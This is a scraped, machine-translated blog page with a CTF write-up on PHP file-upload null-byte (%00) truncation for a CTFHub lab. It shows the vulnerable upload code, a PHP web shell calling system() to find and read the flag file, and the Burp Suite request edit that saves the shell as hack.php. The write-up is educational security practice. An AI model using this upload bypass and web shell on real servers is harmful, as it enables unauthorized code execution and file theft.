当前位置:网站首页>PHP file upload 00 truncation
PHP file upload 00 truncation
2022-06-26 15:11:00 【Yale letter】
0x00,%00,/00 Or something , It's the same thing , It's just a different form of expression . Like a girlfriend 、 Woman ticket .
On website url in ,%00 Will be decoded into 0, And in the ascii in ,0 It's a special character ( Not characters '0'), Indicates the end of the string , So if url In the %00, It means that the decoding is completed .
Such as :
https://www.yalexin/?file=test.txt Now the output is test.txt
If replaced :
https://www.yalexin/?file=test.php%00.txt At this time, the output is test.php
Let's look at an example :
ctfhub The skill tree -web- Upload files -00 truncation
After opening the scene, there is a page for uploading files , Look at the source code as follows :
<script>alert(' Upload successful ')</script><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CTFHub Upload files - 00 truncation </title>
</head>
<body>
<h1>CTFHub Upload files - 00 truncation </h1>
<form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert(' Upload successful ')</script>";
} else {
echo "<script>alert(' Upload failed ')</script>";
}
} else {
echo " File type mismatch ";
}
}
-->
</body>
</html> You can see in the source code , First, check whether the file type is in the white list ( That is, only picture types can be uploaded ), After the file type passes , analysis road Parameter values , Then a random number and date are spliced as the file name and uploaded to the specified directory .
After a simple analysis , Probably know the idea : Using agents , Write a php Script , Change its extension to picture type , Then intercept the data packet 、 Modify the data package , Visit the script we uploaded .
In the first place to find flag Possible locations :
<?php
system('find / | grep flag')
?> Save its file as hack.png
Then turn on the agent , open Burp Suite Software , And put the interceptor (intercept) open
Upload what we just did in the browser hack.png
And then we'll be in Burp See the datagram in , We try to
POST /?road=/var/www/html/upload/ HTTP/1.1Change it to :
POST /?road=/var/www/html/upload/hack.php%00 HTTP/1.1 And then click forward
After uploading successfully , We access the script :
/upload/hack.phpSure enough, I saw something :
/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/dummy0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/kpageflags /usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al /usr/lib/perl/5.14.2/bits/waitflags.ph /var/www/html/flag_139938352.phpThe last is what we want . To read the file .
Modify our script hack.php
<?php
system('cat ../flag_139938352.php')// Be careful , The script will eventually be uploaded to /var/www/html/upload Under the folder , Therefore, go back to the upper level directory to read flag
?> You can read the content by continuing to upload according to the method just described ( Be careful : We visit hack.php You will encounter blank pages , Right click to view the source code flag).
边栏推荐
- Notes on writing questions in C language -- table tennis competition
- 数据库-视图
- SAP 销售数据 实际发货数据导出 销量
- 使用 Abp.Zero 搭建第三方登录模块(二):服务端开发
- kubernetes的Controller之deployment
- The R language cartools package divides data, the scale function scales data, and the KNN function of the class package constructs a k-nearest neighbor classifier
- Restcloud ETL extraction de données de table de base de données dynamique
- Informatics Olympiad all in one 1400: count the number of words (string matching)
- Unity C # e-learning (10) -- unitywebrequest (2)
- Unity C # e-learning (10) -- unitywebrequest (1)
猜你喜欢

One copy ten, CVPR oral was accused of plagiarizing a lot, and it was exposed on the last day of the conference!

15 bs对象.节点名称.节点名称.string 获取嵌套节点内容

TCP拥塞控制详解 | 1. 概述

Solution to the upper limit of TeamViewer display devices

【TcaplusDB知识库】TcaplusDB系统管理介绍

关于 selenium.common.exceptions.WebDriverException: Message: An unknown server-side error 解决方案(已解决)

【TcaplusDB知识库】TcaplusDB系统用户组介绍

Keil4打开单片机工程一片空白,cpu100%程序卡死的问题解决

数据库-序列
Advanced operation of MySQL database basic SQL statement tutorial
随机推荐
1.会计基础--会计的几大要素(会计总论、会计科目和账户)
NVIDIA SMI error
Kubernetes的pod调度
kubernetes的Controller之deployment
北京银行x华为:网络智能运维夯实数字化转型服务底座
使用卷积对数据进行平滑处理
R语言glm函数逻辑回归模型、使用epiDisplay包logistic.display函数获取模型汇总统计信息(自变量初始和调整后的优势比及置信区间,回归系数的Wald检验的p值)、结果保存到csv
【雲原生】 ”人人皆可“ 編程的無代碼 iVX 編輯器
券商经理给的开户二维码安全吗?找谁可以开户啊?
R语言dplyr包intersect函数获取在两个dataframe中都存在的数据行、获取两个dataframe交叉的数据行
R语言使用epiDisplay包的aggregate函数将数值变量基于因子变量拆分为不同的子集,计算每个子集的汇总统计信息、使用aggregate.data.frame函数计算分组汇总统计信息
One click analysis hardware /io/ national network performance script (strong push)
Use abp Zero builds a third-party login module (I): Principles
Idea shortcut key
TS common data types summary
【TcaplusDB知识库】TcaplusDB单据受理-创建业务介绍
The tablestack function of the epidisplay package of R language makes a statistical summary table (descriptive statistics of groups, hypothesis test, etc.), does not set the by parameter to calculate
Unity uses skybox panoramic shader to make panorama preview. There is a gap. Solution
5张图诠释了容器网络
人力资源导出数据 excel VBA